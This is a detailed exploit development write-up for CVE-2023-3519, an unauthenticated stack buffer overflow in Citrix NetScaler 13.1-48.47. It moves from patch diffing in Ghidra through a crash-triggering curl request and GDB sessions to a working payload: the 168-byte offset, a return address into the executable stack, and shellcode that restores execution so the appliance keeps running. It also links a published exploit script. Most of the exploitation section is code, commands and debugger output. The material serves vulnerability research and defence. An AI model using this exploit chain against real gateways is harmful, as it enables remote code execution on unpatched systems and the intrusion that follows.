The broken code is reached through a handler called ns_vpn_process_unauthenticated_request. A handler is simply the piece of code that decides what to do with an incoming request. The word unauthenticated is the important part: this handler deals with requests from people who have not logged in. It checks the start of the web address (the URL) for the prefix /gwtest/. One of the prefixes it recognises is /gwtest/. The handler behind that prefix, ns_aaa_gwtest_handler, in turn recognises a second piece of the address, /formssso. Put together, the address of interest is /gwtest/formssso.

That address accepts two parameters in the query string, the part of a URL after the question mark. The parameters are called event and target. The value of target is handed to a routine called ns_aaa_saml_url_decode. SAML is a standard way for login systems to exchange identity information, and URL decoding is the process of turning encoded characters back into their real form (for example, turning %20 back into a space). The routine performs an unbounded copy of the decoded text.

A Python script demonstrating the exploit for version 13.1-48.47 of Citrix NetScaler is published at https://github.com/assetnote/exploits/tree/main/citrix/CVE-2023-3519. Some tweaks are required for other versions.

Setting up the comparison

To compare the two versions, the researchers downloaded and configured two copies of Citrix NetScaler: version 13.1-48.47, which is the old, broken one, and version 13.1-49.13, which is the new, fixed one. A version number like this is just a label the vendor gives each release, so you can tell them apart.

They then took the nsppe program out of each copy and ran it through a tool called Ghidra. Ghidra is a free program made by the US National Security Agency and released publicly. Its job is decompilation: taking a compiled program, which is a long list of machine instructions that humans find very hard to read, and turning it back into something that looks like source code, which humans can read. It is a bit like taking a finished cake and working out the recipe.

The nsppe program is enormous, so Ghidra needed more resources than usual to finish the job. The researchers raised the decompiler settings under Edit -> Tool Options -> Decompiler to the following values:

Setting Value
Cache Size (Functions) 2048
Decompiler Max-Payload (Mbytes) 512
Decompiler Timeout (seconds) 900
Max Instructions per Function 3000000

Each of these is a limit on how much work Ghidra is allowed to do. The cache size is how many functions it keeps in memory at once. The max payload is how much data it will process in one go. The timeout is how long it will spend on a single job before giving up. The instruction limit is how many machine instructions it will read inside one function. Raising them stops Ghidra from giving up halfway through a very large program.

After decompiling each program, the researchers generated a BinDiff file for each one using the BinExport extension for Ghidra. BinDiff is a tool that compares two compiled programs and highlights the functions that differ. A function is a named block of code that does one job, like a recipe in a cookbook. BinDiff tells you which recipes changed between the old and new editions of the book. The researchers then went through each changed function. For most of them, instead of comparing them inside BinDiff, they took the decompiled code from Ghidra and compared the text side by side, which is often easier to read.

Finding the broken function

The first function that stood out was called ns_aaa_saml_parse_authn_request. It looked promising, but it turned out to be a red herring, meaning a false lead. The fix did include a repair for a memory corruption bug in that function, but there was no obvious way to turn it into remote code execution. Memory corruption means the program writes data where it should not, damaging other data nearby. No CVE, which is a public identifier for a known vulnerability, has been raised for the denial of service that this particular bug could cause. Denial of service means making a service unavailable, for example by crashing it.

The researchers kept going, comparing each function BinDiff flagged, until they reached ns_aaa_gwtest_get_event_and_target_names. In the fixed version, this function appeared to contain an extra length check. A length check is exactly what it sounds like: before copying data, the program asks how much there is, and refuses if it is too much. Here is the old version:

C
// Unpatched Version
if (iVar3 + 1 == iVar7 + -6) {
    iVar3 = ns_aaa_saml_url_decode(pcVar1,param_2);
    pcVar8 = local_38;
    if (iVar3 == 0) {
        uVar9 = 0x16000c;
    } else {
        *(undefined *)(param_2 + iVar3) = 0;
        uVar9 = 0;
    }
}

Line by line: the if line checks whether one number plus one equals another number minus six. If so, it calls ns_aaa_saml_url_decode with two arguments, the encoded text and a destination. It then stores a value in pcVar8. If the decode returned zero, it sets an error code 0x16000c; otherwise it writes a zero byte at the end of the decoded text, which is how C marks the end of a string, and sets the result to zero. The crucial point is that nothing here asks how long the decoded text is before writing it.

Now the fixed version:

C
// Patched Version, note the iVar3 < 0x80 length check
if ((iVar3 + 1 == uVar8 - 6) && (uVar9 = 0x160010, iVar3 < 0x80)) {
    iVar3 = ns_aaa_saml_url_decode(pcVar1,param_2,iVar3);
    pcVar7 = local_38;
    if (iVar3 == 0) {
        uVar9 = 0x16000c;
    } else {
        *(undefined *)(param_2 + iVar3) = 0;
        uVar9 = 0;
    }
}

The difference is the extra condition iVar3 < 0x80. In hexadecimal, 0x80 is 128 in ordinary numbers. So the fixed code refuses to proceed unless the length is under 128 bytes. It also passes that length into ns_aaa_saml_url_decode as a third argument, so the decode routine itself knows the limit. This is the classic shape of a fix for a buffer overflow: add a check that was missing.

A buffer is a fixed-size area of memory set aside to hold data. A buffer overflow happens when more data is written into it than it can hold, so the extra spills over into whatever is next to it in memory. Imagine a row of glasses on a table and someone pouring a whole bottle into one glass: the extra liquid runs across the table and soaks everything nearby. In a computer, the things nearby are other pieces of data and, importantly, the instructions that tell the program where to go next.

Tracing the calls to ns_aaa_gwtest_get_event_and_target_names with Ghidra led to ns_aaa_gwtest_handler, which contained the second part of the URL, /formssso:

C
if (uVar7 != 0x6d726f66) {
    return 0x20;
}
// 0x6f7373736d726f66 == formssso
if ((*puVar1 | 0x2020202020202020) != 0x6f7373736d726f66) {
    return 0x20;
}
if ((*(byte *)(lVar2 + 0x10) | 0x20) != 0x3f) {
    return 0x20;
}
lVar5 = ns_aaa_gwtest_get_valid_fsso_server(param_2);
if (lVar5 == 0) {
    return 0xf43;
}

Line by line: the first check compares a value against 0x6d726f66 and returns 0x20 if it does not match. The comment explains that 0x6f7373736d726f66 is the text formssso written as a number. Computers store text as numbers, one number per character, so a short word can be read as a single large number. The second check does the same comparison after a bitwise operation that converts letters to lowercase, so the check works whether the user typed uppercase or lowercase. The third check looks at a byte and compares it to 0x3f, which is the question mark character, the thing that separates a web address from its parameters. Then it calls ns_aaa_gwtest_get_valid_fsso_server, and if that returns zero it returns an error code 0xf43. In short, this function is the doorman that recognises the /formssso part of the address.

Looking further back in the call graph, ns_aaa_gwtest_handler was called by ns_vpn_process_unauthenticated_request, where the first part of the URL, /gwtest/, was found:

C
// 0x2f7473657477672f == /gwtest/
if ((*puVar5 | 0x2020202020202020) == 0x2f7473657477672f) goto code_r0x00743e2d;
...
code_r0x00743e2d:
if ((ns_async_ctx != 0) && (*(int *)(ns_async_ctx + 0x6c + (ulong)ns_async_callers_context_size) != 0x28c)) {
    panic("Async context ID does not match expected context ID NS_ASYNC_CTX_AAA_UNAUTH_GWTEST");
}
ns_async_callers_context_size = ns_async_callers_context_size + 0xc0;
if (ns_async_ctx != 0) {
    if (*(int *)(ns_async_ctx + 8) != -0x5310ff3) goto LAB_0075c646;
    if ((ns_async_callers_context_size < *(uint *)(ns_async_ctx + 0x68)) &&
        (0x610 < *(int *)(ns_async_ctx + 0x6c + (ulong)ns_async_callers_context_size) - 0xacU)) {
        goto LAB_00745ba5;
    }
}
iVar14 = ns_aaa_gwtest_handler(local_58,local_50,0,local_80,0);

Line by line: the first if compares a value against 0x2f7473657477672f, which the comment tells us is the text /gwtest/ stored as a number. If it matches, the program jumps to a labelled section. That section checks some internal bookkeeping values, and if one of them is wrong it calls panic, which is a deliberate, loud crash used when the program finds itself in a state it cannot handle. It then adjusts a size counter, does a couple more sanity checks, and finally calls ns_aaa_gwtest_handler. The important takeaway is the chain: a request whose address starts with /gwtest/ ends up in the Gateway test handler.

At this point the researchers knew the address, /gwtest/formssso, but not how to call it correctly. The Ghidra output for ns_aaa_gwtest_get_event_and_target_names showed that it expected an event parameter with a value of either start or done, then checked for a target parameter and passed its value to the vulnerable ns_aaa_saml_url_decode function. Here is a cut-down version of that function:

C
undefined8 ns_aaa_gwtest_get_event_and_target_names(long param_1,long param_2,uint *param_3){
    // check for 'event' query parameter
    iVar3 = strncmp("event=",local_38,6);
    if (iVar3 == 0) {
        // check value is 'start'
        iVar3 = strncmp((char *)(lVar6 + 0x17),"start&",6);
        if (iVar3 != 0) {
            iVar3 = strncmp((char *)(lVar6 + 0x17),"done&",5);
        }
        // check for 'target' query parameter
        __s2 = (char *)(lVar6 + lVar5);
        iVar3 = strncmp("target=",__s2,7);
        if (iVar3 == 0) {
            // point to the value of the 'target' query parameter
            pcVar1 = __s2 + 7;
            iVar3 = ns_aaa_saml_url_decode(pcVar1,param_2);
        }
    }
}

Line by line: strncmp compares two pieces of text for a given number of characters. The first comparison checks whether the text starts with event=. If it does, the next comparison checks whether the value is start& or done&, the ampersand being the character that separates one parameter from the next in a URL. Then it looks for target= and, if found, points just past the equals sign, which is where the value begins, and hands that value to ns_aaa_saml_url_decode. In plain words: the function is a form that insists you fill in event with start or done, and then takes whatever you put in target and passes it to the broken copy routine.

Exploitation

Step 1: Trigger the crash

Sending the following request caused a server crash:

Bash
$ curl -k 'https://[redacted]/gwtest/formssso?event=start&target=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

Line by line: curl is a command-line tool for making web requests, a bit like a browser without the window. The -k flag tells it to ignore certificate warnings, which is normal when testing against a lab machine with a self-signed certificate. The address is the test machine at [redacted], followed by the endpoint /gwtest/formssso, then a question mark and the parameters. event=start satisfies the first check the code makes. target= is followed by a long run of the letter A. That long value is passed to ns_aaa_saml_url_decode, which in the unpatched version copies it without any limit. The copy runs past the end of the buffer and damages whatever is next in memory, and the program crashes. The request caused a server crash.

Step 2: Get a working debugger

To understand a crash, you need a debugger. A debugger is a tool that lets you pause a running program, look at its memory, and step through it one instruction at a time, like a slow-motion replay of a football match. The standard debugger on this platform is GDB.

The main obstacle was that nsppe is responsible for all network traffic in and out of the virtual machine. A virtual machine, or VM, is a whole computer simulated inside another computer. If you connect to the VM over SSH, which is a way of opening a remote terminal session, and then attach a debugger to nsppe, the debugger pauses the program, the network stops, and your SSH connection is immediately severed. You have cut the branch you were sitting on.

So everything had to be done in the small console window of the VM, the screen you see when you look at the VM directly rather than connecting over the network. That window did not support copy and paste and was occasionally flooded with log messages from other processes. It also meant no GDB plugins such as PEDA could be used. PEDA is an add-on that makes GDB much friendlier, showing registers and memory in colour and offering shortcuts.

The VM did include a copy of GDB and GDBServer. GDBServer is a small helper that runs on the target machine and lets a debugger on another machine control it. Normally GDBServer talks over TCP, the same protocol your browser uses, but it also supports serial devices. A serial device is a simple, old-fashioned connection that sends data one bit at a time, like a pipe. The researchers added a virtual serial device to the VM, and sending data over it worked without issue. But when it came to GDB and GDBServer, the connection would never work. They suspected the problem was that the file was not a real serial device on the macOS side of the connection, and VMware Fusion, the program running the VM, offered no option in its graphical interface to configure it differently.

They found they could edit the .vmx file instead. The .vmx file is the plain-text settings file that describes a VMware virtual machine. They changed the serial device to the following:

Text
serial0.fileType = "network"
serial0.fileName = "telnet://:12345"
serial0.present = "TRUE"

Line by line: serial0.fileType = "network" tells VMware that this serial port is not a file on disk but a network connection. serial0.fileName = "telnet://:12345" tells it to listen on TCP port 12345 and speak the telnet protocol, a very old way of sending text over a network. serial0.present = "TRUE" switches the device on. With this setup, VMware listened on TCP port 12345 on the host machine and forwarded whatever arrived to the serial device inside the VM. The researchers could now run GDB locally on their own machine, with PEDA installed, and still control the program inside the VM.

The first step in each debugging session was suspending the pitboss monitoring process. Pitboss is a watchdog: a small program whose only job is to check that nsppe is alive, and to restart it automatically if it is not. That is helpful in production, but during debugging it means every crash is immediately undone, and you lose the evidence. So pitboss was attached to with GDB and left in the background, frozen:

Text
root@ns# gdb -p 27 &
[1] 996
root@ns# GNU gdb (GDB) 10.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-unknown-freebsd11.4".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word".
Attaching to process 27
Reading symbols from /netscaler/pitboss...(No debugging symbols found in /netscaler/pitboss)
Reading symbols from /usr/lib32/libnsapps.so...(No debugging symbols found in /usr/lib32/libnsapps.so)
Reading symbols from /usr/lib32/libc.so.7...(No debugging symbols found in /usr/lib32/libc.so.7)
Reading symbols from /usr/lib32/libcrypto.so.8...(No debugging symbols found in /usr/lib32/libcrypto.so.8)
Reading symbols from /usr/lib32/libssl.so.8...(No debugging symbols found in /usr/lib32/libssl.so.8)
Reading symbols from /usr/lib32/libm.so.5...(No debugging symbols found in /usr/lib32/libm.so.5)
Reading symbols from /libexec/ld-elf32.so.1...(No debugging symbols found in /libexec/ld-elf32.so.1)
[Switching to LWP 100136 of process 27]
0x28414763 in _kevent () from /usr/lib32/libc.so.7
[1]+  Stopped                 gdb -p 27

Line by line: gdb -p 27 & starts GDB and tells it to attach to the running program with process ID 27, which is pitboss. The & at the end puts the whole thing in the background, so the terminal is free for other work. The rest is GDB's normal startup banner, listing the libraries it loaded and finally reporting that it has stopped the process. From this point on, pitboss is frozen and will not restart nsppe.

GDBServer was then started with the serial device /dev/cuau0 as the transport, attached to nsppe:

Text
root@ns# gdbserver /dev/cuau0 --attach 453

Line by line: gdbserver is the helper program. /dev/cuau0 is the name of the serial device inside the VM. --attach 453 tells it to attach to the running program with process ID 453, which is nsppe. GDBServer now waits for a debugger to connect over that serial device.

On the host side, GDB was run, the nsppe binary loaded, and target remote [redacted]:12345 used to connect to GDBServer:

Text
$ gdb
For help, type "help".
Type "apropos word" to search for commands related to "word".
gdb-peda$ file ./unpatched/nsppe
Reading symbols from ./unpatched/nsppe...(No debugging symbols found in ./unpatched/nsppe)
gdb-peda$ target remote [redacted]:12345
Remote debugging using [redacted]:12345
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x117802860 --> 0x0
RCX: 0x114c11000 --> 0x10a865b80 --> 0x11aaaaaa
RDX: 0xda
RSI: 0xfd
RDI: 0x114c4ecc0 --> 0x0
RBP: 0x7fffffffe8e0 --> 0x7fffffffe940 --> 0x7fffffffe970 --> 0x7fffffffe9a0 --> 0x7fffffffe9b0 --> 0x7fffffffe9e0 (--> ...)
RSP: 0x7fffffffe8c0 --> 0x0
RIP: 0x1e418c6 --> 0x4d30c383483b8b4c
R8 : 0x803962000 --> 0x0
R9 : 0x1f46a
R10: 0x1
R11: 0x119204000 --> 0xfa00
R12: 0x93dc568
R13: 0x2c93000 (0x0000000002c93000)
R14: 0x1
R15: 0x114c4ecc0 --> 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x1e418c0 <vc_idle_poll+64>: test   eax,eax
   0x1e418c2 <vc_idle_poll+66>: jne    0x1e418d5 <vc_idle_poll+85>
   0x1e418c4 <vc_idle_poll+68>: pause
=> 0x1e418c6 <vc_idle_poll+70>: mov    r15,QWORD PTR [rbx]
   0x1e418c9 <vc_idle_poll+73>: add    rbx,0x30
   0x1e418cd <vc_idle_poll+77>: test   r15,r15
   0x1e418d0 <vc_idle_poll+80>: jne    0x1e418b0 <vc_idle_poll+48>
   0x1e418d2 <vc_idle_poll+82>: xor    r14d,r14d
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe8c0 --> 0x0
0008| 0x7fffffffe8c8 --> 0x0
0016| 0x7fffffffe8d0 --> 0x93dc568
0024| 0x7fffffffe8d8 --> 0x8000000000000000
0032| 0x7fffffffe8e0 --> 0x7fffffffe940 --> 0x7fffffffe970 --> 0x7fffffffe9a0 --> 0x7fffffffe9b0 --> 0x7fffffffe9e0 (--> ...)
0040| 0x7fffffffe8e8 --> 0x15c3f89 --> 0x467850fc085
0048| 0x7fffffffe8f0 --> 0x7fffffffe920 --> 0x0
0056| 0x7fffffffe8f8 --> 0xf668e5 --> 0x1be41c085
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSTOP
0x0000000001e418c6 in vc_idle_poll ()

Line by line: gdb starts the debugger. file ./unpatched/nsppe loads the program's information so GDB can match addresses to function names. target remote [redacted]:12345 connects to GDBServer on the local machine at port 12345, which VMware forwards to the serial device. The block that follows is a snapshot of the machine's state. The registers are the small, very fast storage slots inside the processor, each with a name like RAX or RSP. RIP is the instruction pointer, the address of the instruction about to run. RSP is the stack pointer, which tracks the top of the stack. The stack is the area of memory where the program keeps track of where to return to after each function call, and it is the thing the overflow damages. The code block shows the instructions around the current position, with => marking the next one. The stack block shows the contents of memory near the stack pointer. Finally, Stopped reason: SIGSTOP means the program was paused on purpose, not because it crashed.

Single-stepping instructions at certain locations occasionally caused the program to behave differently, but this was still much better than the tiny console window.

Step 3: Dissect the crash

A breakpoint was set on ns_aaa_gwtest_get_valid_fsso_server and the payload sent. A breakpoint is a marker you place on an instruction so the program pauses when it reaches it, like a bookmark that stops the reader. Stepping through the function call up to the call to the vulnerable function:

Text
 0xc7fa7c <ns_aaa_gwtest_get_valid_fsso_server+60>: mov    DWORD PTR [rbp-0xc],0x0
 0xc7fa83 <ns_aaa_gwtest_get_valid_fsso_server+67>: lea    rsi,[rbp-0xa0]
 0xc7fa8a <ns_aaa_gwtest_get_valid_fsso_server+74>: lea    rdx,[rbp-0x1c]
=> 0xc7fa8e <ns_aaa_gwtest_get_valid_fsso_server+78>: call   0xc82bb0 <ns_aaa_gwtest_get_event_and_target_names>
 0xc7fa93 <ns_aaa_gwtest_get_valid_fsso_server+83>: test   eax,eax
 0xc7fa95 <ns_aaa_gwtest_get_valid_fsso_server+85>: je     0xc7fa9b <ns_aaa_gwtest_get_valid_fsso_server+91>
 0xc7fa97 <ns_aaa_gwtest_get_valid_fsso_server+87>: xor    ebx,ebx
 0xc7fa99 <ns_aaa_gwtest_get_valid_fsso_server+89>: jmp    0xc7fac7 <ns_aaa_gwtest_get_valid_fsso_server+135>

Line by line: each line is one machine instruction, with its address on the left and the function it belongs to. mov DWORD PTR [rbp-0xc],0x0 writes zero into a slot on the stack. lea rsi,[rbp-0xa0] and lea rdx,[rbp-0x1c] calculate addresses of two more stack slots and put them in registers, preparing arguments for the call. The call instruction jumps into ns_aaa_gwtest_get_event_and_target_names, the vulnerable function. After it returns, test eax,eax checks the return value, je jumps if it was zero, and the remaining lines handle the error path. The => marks where the program is paused.

Stepping over this call frequently resulted in unrelated errors, so a breakpoint was set just after the call at 0xc7fa93 instead. Running the exploit again showed a corrupted call stack, though the application had not yet crashed. The backtrace showed the call stack filled with 0x41, the A character used in the payload:

Text
[-------------------------------------code-------------------------------------]
   0xc7fa83 <ns_aaa_gwtest_get_valid_fsso_server+67>: lea    rsi,[rbp-0xa0]
   0xc7fa8a <ns_aaa_gwtest_get_valid_fsso_server+74>: lea    rdx,[rbp-0x1c]
   0xc7fa8e <ns_aaa_gwtest_get_valid_fsso_server+78>: call   0xc82bb0 <ns_aaa_gwtest_get_event_and_target_names>
=> 0xc7fa93 <ns_aaa_gwtest_get_valid_fsso_server+83>: test   eax,eax
   0xc7fa95 <ns_aaa_gwtest_get_valid_fsso_server+85>: je     0xc7fa9b <ns_aaa_gwtest_get_valid_fsso_server+91>
   0xc7fa97 <ns_aaa_gwtest_get_valid_fsso_server+87>: xor    ebx,ebx
   0xc7fa99 <ns_aaa_gwtest_get_valid_fsso_server+89>: jmp    0xc7fac7 <ns_aaa_gwtest_get_valid_fsso_server+135>
   0xc7fa9b <ns_aaa_gwtest_get_valid_fsso_server+91>: lea    rbx,[rbp-0xa0]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffc120 --> 0x0
0008| 0x7fffffffc128 --> 0x0
0016| 0x7fffffffc130 ('A' <repeats 200 times>...)
0024| 0x7fffffffc138 ('A' <repeats 192 times>, " ")
0032| 0x7fffffffc140 ('A' <repeats 184 times>, " ")
0040| 0x7fffffffc148 ('A' <repeats 176 times>, " ")
0048| 0x7fffffffc150 ('A' <repeats 168 times>, " ")
0056| 0x7fffffffc158 ('A' <repeats 160 times>, " ")
[------------------------------------------------------------------------------]
gdb-peda$ backtrace
#0  0x0000000000c7fa93 in ns_aaa_gwtest_get_valid_fsso_server ()
#1  0x4141414141414141 in ?? ()
#2  0x4141414141414141 in ?? ()
#3  0x4141414141414141 in ?? ()
#4  0x4141414141414141 in ?? ()
#5  0x00000000034a0020 in ns_cvm_cardInBulkQHead ()
#6  0x0000000000000000 in ?? ()

Line by line: the stack dump shows the memory around the stack pointer. The lines marked 0016 onwards show the letter A repeated, which is the payload sitting in memory. The backtrace command lists the chain of function calls that led to the current point, like a family tree of who called whom. Frame #0 is the current function. Frames #1 to #4 show 0x4141414141414141, which is eight bytes of the letter A. In other words, the return addresses that should have pointed back to the calling functions have been overwritten with the attacker's data. The program has not crashed yet because it has not tried to use those addresses, but the damage is done.

Since the new length check in the patched version was 128 bytes, the payload was updated with multiples of B, C and D towards the suspected end of the buffer, to find how much space had to be filled before overwriting a return address. A return address is the instruction the program jumps back to when a function finishes, like a bookmark you leave in a book. Overwriting it is the whole point of this kind of attack: you replace the bookmark with one of your own choosing. A binary search, which is a clever way of halving the possibilities each time, may have been quicker, but there was good visibility and the addresses did not change between runs. Eventually the payload 'A' * 160 + 'B' * 8 + 'C' * 8 + 'D' * 8 showed 0x4343434343434343 (the 8 C bytes) filling the return address:

Text
Breakpoint 3, 0x0000000000c7fa93 in ns_aaa_gwtest_get_valid_fsso_server ()
gdb-peda$ backtrace
#0  0x0000000000c7fa93 in ns_aaa_gwtest_get_valid_fsso_server ()
#1  0x4343434343434343 in ?? ()
#2  0x4444444444444444 in ?? ()
#3  0x00000000034a0020 in ns_cvm_cardInBulkQHead ()
#4  0x0000000002f75a01 in ns_default_partition ()
#5  0x00000000034ab320 in ?? ()
#6  0x0000000000000000 in ?? ()

Line by line: the payload was built as 160 A's, then 8 B's, then 8 C's, then 8 D's. The backtrace shows frame #1 as 0x4343434343434343, which is eight C's, and frame #2 as 0x4444444444444444, which is eight D's. This tells the researchers exactly where the return address sits: after 160 bytes of A and 8 bytes of B, the next 8 bytes are the return address. The B's were presumably overwriting something else, and the C's landed exactly on the target.

This meant there was a buffer of 168 bytes followed by the address to return to. Since the stack is marked executable, the plan was to jump to the start of the buffer at 0x7fffffffc130. An executable stack means the processor is allowed to run data stored there as if it were code. Modern systems usually forbid this, precisely to make attacks like this harder, but this one did not. The payload was put together with four nop instructions for the shellcode, the return address, and the rest padded to fill up to 168 bytes:

Python
shellcode = b'\x90\x90\x90\x90'
return_address = b'\x30\xc1\xff\xff\xff\x7f\x00\x00'
padding = b'A' * (168 - len(shellcode))
payload = shellcode + padding + return_address

Line by line: shellcode is the small piece of code the attacker wants to run. Here it is four bytes of \x90, which is the nop instruction, short for no operation: it does nothing and moves on to the next instruction. Nops are useful as a landing pad, because if execution lands anywhere in a run of them, it slides safely to the real code. return_address is the address 0x7fffffffc130 written as raw bytes, in reverse order because the processor on this machine stores numbers with the smallest byte first. padding is a run of A's long enough to fill the buffer up to 168 bytes. payload glues the three together: shellcode, then padding, then the address. When the function returns, it will jump to the start of the buffer and run the nops.

Attempts were made to URL encode all bytes, but there is a bug in the URL decoding which affects bytes greater than 0xa0. URL encoding is the process of writing awkward characters as a percent sign followed by two hex digits, so that they survive being put in a web address. Only a few characters were URL encoded, with troublesome bytes added to a list as they were encountered. Running the exploit and continuing execution from the breakpoint until the end of the function showed execution neatly at the start of the four nop instructions:

Text
Breakpoint 3, 0x0000000000c7fa93 in ns_aaa_gwtest_get_valid_fsso_server ()
gdb-peda$ finish
Run till exit from #0  0x0000000000c7fa93 in ns_aaa_gwtest_get_valid_fsso_server ()
[-------------------------------------code-------------------------------------]
   0x7fffffffc12a: add    BYTE PTR [rax],al
   0x7fffffffc12c: add    BYTE PTR [rax],al
   0x7fffffffc12e: add    BYTE PTR [rax],al
=> 0x7fffffffc130: nop
   0x7fffffffc131: nop
   0x7fffffffc132: nop
   0x7fffffffc133: nop
   0x7fffffffc134: rex.B

Line by line: finish tells GDB to run until the current function returns. The code block shows the instructions around the new position. The => is now at 0x7fffffffc130, which is the start of the buffer, and the next four instructions are the nops that were placed there. The rex.B after them is simply the next byte in memory being interpreted as an instruction, which does not matter because the nops will be replaced by real code later. The key point is that the return address was successfully hijacked: instead of going back to the caller, execution went exactly where the attacker wanted.

Step 4: Exit cleanly

For the exploit to be usable in a platform check, it has to execute without interrupting the service. A platform check is an automated test that a security company runs against a customer's system to see whether it is vulnerable. If the test crashes the appliance, the customer is not happy. So the shellcode needed to clean up and let the application continue normal operation, like a burglar who puts everything back before leaving.

A breakpoint was set at ns_aaa_gwtest_get_valid_fsso_server and the call stack inspected before the overflow was triggered, to see where execution would continue from under normal circumstances:

Text
Breakpoint 4, 0x0000000000c7fa44 in ns_aaa_gwtest_get_valid_fsso_server ()
gdb-peda$ backtrace
#0  0x0000000000c7fa44 in ns_aaa_gwtest_get_valid_fsso_server ()
#1  0x0000000000c7f4b2 in ns_aaa_gwtest_handler ()
#2  0x0000000000743e6d in ns_vpn_process_unauthenticated_request ()
#3  0x000000000078245b in ns_aaa_cookie_valid ()
#4  0x00000000007923c3 in ns_aaa_client_handler ()
#5  0x0000000001e14f89 in nshttp_handler ()
#6  0x000000000113aa27 in nsssl_handlePkt ()
#7  0x00000000014e524d in ns_sslSendHTTPDataPkts ()
#8  0x00000000014e6d5e in ssl3_accept ()
#9  0x00000000014d34f5 in SSL_input ()
#10 0x000000000113a7cc in nsssl_handler ()
#11 0x000000000113a412 in nsssl_generic_handler ()
#12 0x0000000001e5aeb0 in nstcp_input ()
#13 0x0000000001e4bc5a in handleL4Session ()
#14 0x0000000001e48c21 in dispatch_tcp ()
#15 0x0000000001e41e6c in nic_rx_flush_pipeline ()
#16 0x0000000001e41c09 in vc_poll ()
#17 0x00000000015c858f in ns_netio ()
#18 0x00000000015c8422 in packet_engine ()
#19 0x0000000001a5ffb5 in ns_enter_main ()
#20 0x0000000001a643dd in main ()
#21 0x00000000004002db in _start ()

Line by line: this is the normal chain of calls, from the bottom up. _start is where the program begins. main is the main function. ns_enter_main and packet_engine are the top-level loop that keeps the appliance running. ns_netio and vc_poll handle incoming network activity. nic_rx_flush_pipeline and dispatch_tcp deal with packets arriving. nstcp_input handles TCP, the protocol underneath most web traffic. nsssl_generic_handler, nsssl_handler and SSL_input handle the encrypted part of the connection, SSL being the old name for the encryption used by HTTPS. ssl3_accept completes the encrypted handshake. ns_sslSendHTTPDataPkts and nsssl_handlePkt deal with the HTTP request itself. nshttp_handler is the general web request handler. ns_aaa_client_handler and ns_aaa_cookie_valid deal with authentication, checking whether the user has a valid session. ns_vpn_process_unauthenticated_request is the one that routes unauthenticated requests. ns_aaa_gwtest_handler is the Gateway test handler. And ns_aaa_gwtest_get_valid_fsso_server is the function that calls the vulnerable one. The important frame is #2, ns_vpn_process_unauthenticated_request, because that is where execution should return to when the vulnerable function finishes normally.

Execution was continued and stopped when it reached the shellcode. The 20 64-bit words from the top of the stack were examined to see if any matched the return addresses in the previous backtrace. At 0x7fffffffc210 the pushed rbp value was followed by the return address of ns_vpn_process_unauthenticated_request:

Text
0x00007fffffffc130 in ?? ()
gdb-peda$ x/20g $rsp
0x7fffffffc1e0: 0x0000000000000020 0x00000000034ab344
0x7fffffffc1f0: 0x0000000002f75a01 0x00000000034ab320
0x7fffffffc200: 0x0000000000000000 0x0000000000000001
0x7fffffffc210: 0x00007fffffffd430 0x0000000000743e6d <-- matches ns_vpn_process_unauthenticated_request
0x7fffffffc220: 0x00007fffffffc270 0x0000000001dda811
0x7fffffffc230: 0x00007fffffffc280 0x0000000001dda811
0x7fffffffc240: 0x00007fffffffc4a8 0x0000000000007fff
0x7fffffffc250: 0x00007fffffffc6b8 0x0000000000007fff
0x7fffffffc260: 0x0000000000000005 0x000000000234bd3e
0x7fffffffc270: 0x0000000000007fff 0x0000000000000000

Line by line: x/20g $rsp means examine 20 chunks of memory, each the size of a general-purpose register, starting at the stack pointer. Each line shows an address on the left and two values on the right. The line at 0x7fffffffc210 shows 0x0000000000743e6d, which the comment identifies as the return address of ns_vpn_process_unauthenticated_request. The value just before it, 0x00007fffffffd430, is the saved rbp, the base pointer of the previous function, which is also restored on return. Rbp is a register used to keep track of the current function's frame on the stack.

Subtracting the current rsp value (0x7fffffffc1e0) from the target rsp value (0x7fffffffc210) gave a difference of 0x30. The following instructions were added to the shellcode to increment the stack pointer, pop the stored base pointer and continue execution of ns_vpn_process_unauthenticated_request:

Python
shellcode += b'\x48\x83\xC4\x30' # add rsp, 0x30
shellcode += b'\x5d'             # pop rbp
shellcode += b'\xc3'             # ret

Line by line: add rsp, 0x30 moves the stack pointer up by 0x30 bytes, so it points at the saved rbp. pop rbp takes the value at the top of the stack and puts it back into rbp, restoring the previous function's base pointer. ret then pops the return address off the stack and jumps to it, which is the return address of ns_vpn_process_unauthenticated_request. The effect is that the program continues exactly as if the vulnerable function had returned normally, with no crash and no interruption.

Running the new exploit, stepping through the shellcode right up to the ret instruction and looking at the call stack showed everything looked good. At this stage the exploit could be run repeatedly without interrupting the service:

Text
[-------------------------------------code-------------------------------------]
   0x7fffffffc12f: add    BYTE PTR [rax+0x48909090],dl
   0x7fffffffc135: add    esp,0x30
   0x7fffffffc138: pop    rbp
=> 0x7fffffffc139: ret
   0x7fffffffc13a: rex.B
   0x7fffffffc13b: rex.B
   0x7fffffffc13c: rex.B
   0x7fffffffc13d: rex.B
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00007fffffffc139 in ?? ()
gdb-peda$ backtrace
#0  0x00007fffffffc139 in ?? ()
#1  0x0000000000743e6d in ns_vpn_process_unauthenticated_request ()
